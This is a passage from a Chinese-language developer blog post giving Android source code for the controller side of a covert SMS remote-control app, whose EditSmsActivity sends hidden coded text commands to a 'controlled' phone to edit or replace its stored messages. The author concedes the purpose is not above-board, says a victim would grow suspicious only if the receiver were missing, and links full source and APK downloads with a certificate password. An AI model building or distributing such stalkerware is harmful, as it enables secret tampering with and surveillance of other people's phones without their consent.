mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mEditSmsBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
if(mClientNumber.equals("")){
Toast.makeText(SMSadminActivity.this, "目前未控制任何手机", Toast.LENGTH_SHORT).show();
return;
}
Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
startActivity(it);
}
});
}
}
这个是修改短信的activity:
package iceman.android.smsadmin;
import iceman.android.smsadmin.R;
import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class EditSmsActivity extends Activity {
private SmsManager mSmsManager = SmsManager.getDefault();
private EditText mSmsKey, mSmsNumber,mSmsContent;
private Button mReplaceBtn,mEditBtn;
private SharedPreferences mSharedpreferences = null;
private String mClientNumber;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.edit_sms_layout);
mSmsKey = (EditText) findViewById(R.id.key);
mSmsNumber = (EditText) findViewById(R.id.number);
mSmsContent = (EditText) findViewById(R.id.content);
mEditBtn = (Button) findViewById(R.id.edit);
mReplaceBtn = (Button) findViewById(R.id.repalce);
mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
mClientNumber = mSharedpreferences.getString("control", "");
mEditBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
String key = mSmsKey.getText().toString().trim();
String number = mSmsNumber.getText().toString().trim();
String content = mSmsContent.getText().toString().trim();
if(number.equals("")){
number = "00000000000";
}
if (key.equals("") == false && content.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
+ "#" +number +"#"+content, null, null);
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.edit_sms_send_over),
Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.please_set_key_and_content),
Toast.LENGTH_SHORT).show();
}
}
});
mReplaceBtn.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
String key = mSmsKey.getText().toString().trim();
String number = mSmsNumber.getText().toString().trim();
String content = mSmsContent.getText().toString().trim();
if(number.equals("")){
number = "00000000000";
}
if (key.equals("") == false && content.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
+ "#" +number +"#"+content, null, null);
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.replace_sms_send_over),
Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(EditSmsActivity.this,
EditSmsActivity.this.getString(R.string.please_set_key_and_content),
Toast.LENGTH_SHORT).show();
}
}
});
}
}
因为核心功能是受控端,所以我就不上截图了.各位下载代码看的话,可以尽情吐槽我的UI.哈哈哈
4.程序总结:
从程序角度来说,这不是一个好程序,不光是因为它的容错性比较大(如果发到没有安装受控端的手机上,面对莫名其妙的短信,谁都会起疑心的),还因为软件的目的是在算不上光明正大,秉着学习的态度将源码发上来,如果大家能够看完之后有"不错,挺好玩的"这样一个念头,相信我的目的就达到了.
其实这个程序还可以做到很多功能,利用android的api,MainReceiver中的扩展性还是很高的.曾经打算开发一个网络版的,不利用短信机制了,只是android手机用户很多时候是关闭网络连接的,所以似乎实用性还不如短信版的.有兴趣的人可以开发一个,以远程桌面为名,将程序导向正确的方向,也是一个不错的选择.
附上源码及打包好的apk文件,证书的密码都是123456
http://files.cnblogs.com/feifei1010/SMSreceiver.rar
http://files.cnblogs.com/feifei1010/SMSadmin.rar
http://files.cnblogs.com/feifei1010/apks.rar
欢迎热爱安卓开发者加入群共同进步。南京群 220818530,武汉群121592153,,杭州群253603803,厦门群253604146,湖南群217494504,大连群253672904
青岛群 257925319